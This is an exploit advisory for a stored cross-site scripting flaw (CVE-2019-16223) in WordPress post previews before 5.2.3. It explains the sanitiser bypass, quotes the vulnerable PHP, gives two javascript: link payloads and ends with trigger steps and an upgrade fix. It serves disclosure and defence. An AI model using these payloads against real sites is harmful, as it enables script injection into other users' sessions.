Wordpress Core 5.2.2 - 'post previews' XSS

# Exploit Title: Wordpress Core 5.2.2 - 'post previews' XSS
# Date: 31/12/2020
# Exploit Author: gx1  <g.per45[at]gmail.com>
# Vulnerability Discovery: Simon Scannell
# Vendor Homepage: https://wordpress.com/
# Software Link: https://github.com/WordPress/WordPress
# Version: <= 5.2.2
# Tested on: any
# CVE: CVE-2019-16223

# References: 
https://nvd.nist.gov/vuln/detail/CVE-2019-16223
https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/

Description: 
WordPress before 5.2.3 allows XSS in post previews by authenticated users.

Technical Details and Exploitation: 
The vulnerability is due to two condition: 
1. wp_kses_bad_protocol_once() has an issue with URL sanitization that can be passed and can lead to cross-site scripting vulnerability:   

the function sanitizes bad protocols, and applies a convertion of HTML entities to avoid bypass techniques; anyway, in vulnerable versions, it only checks for html entities after two points, as it is possible to 
observe by the applied fix: 

============================================================================================================================================
function wp_kses_bad_protocol_once( $string, $allowed_protocols, $count = 1 ) {
+	$string  = preg_replace( '/(&#0*58(?![;0-9])|&#x0*3a(?![;a-f0-9]))/i', '$1;', $string );   # APPLIED FIX AFTER VULNERABILITY DETECTION 
	$string2 = preg_split( '/:|&#0*58;|&#x0*3a;/i', $string, 2 );
	if ( isset( $string2[1] ) && ! preg_match( '%/\?%', $string2[0] ) ) {

============================================================================================================================================ 
This allows an attacker to inject attack strings such as:    

============================================================================================================================================
<a href="javascript&#58alert(document.domain)">Example Attack</a>
============================================================================================================================================
Anyway, Wordpress protects against this attack because it converts any type of html entities during the rendering of posts. In a particular case, during preview, it is possible to inject html entities in a URL. That is the second condition. 

2. During preview, get_the_content() function in post-template.php replaces URL encoded characters with a corresponding HTML entity: 

============================================================================================================================================
function get_the_content( $more_link_text = null, $strip_teaser = false ) {

    ...
    if ( $preview ) // Preview fix for JavaScript bug with foreign languages.
        $output =   preg_replace_callback( '/\%u([0-9A-F]{4})/', '_convert_urlencoded_to_entities', $output );

    return $output;
}

function _convert_urlencoded_to_entities( $match ) {
    return '&#' . base_convert( $match[1], 16, 10 ) . ';';
}

============================================================================================================================================
For this reason, it is possible to send URL encoded strings that will be converted in HTML entities during preview. HTML entities can be crafted to bypass wp_ses_bad_protocol_once() function due to issue described in condition 1. 

Proof Of Concept:  
1. Create a new post
2. Insert in code editor the following HTML PoC code:   

<a href="javascript%u003Aalert(/XSS/)">poc</a>

3. Click on preview and click the "poc" link   

Solution: 

Upgrade Wordpress to version >= 5.2.3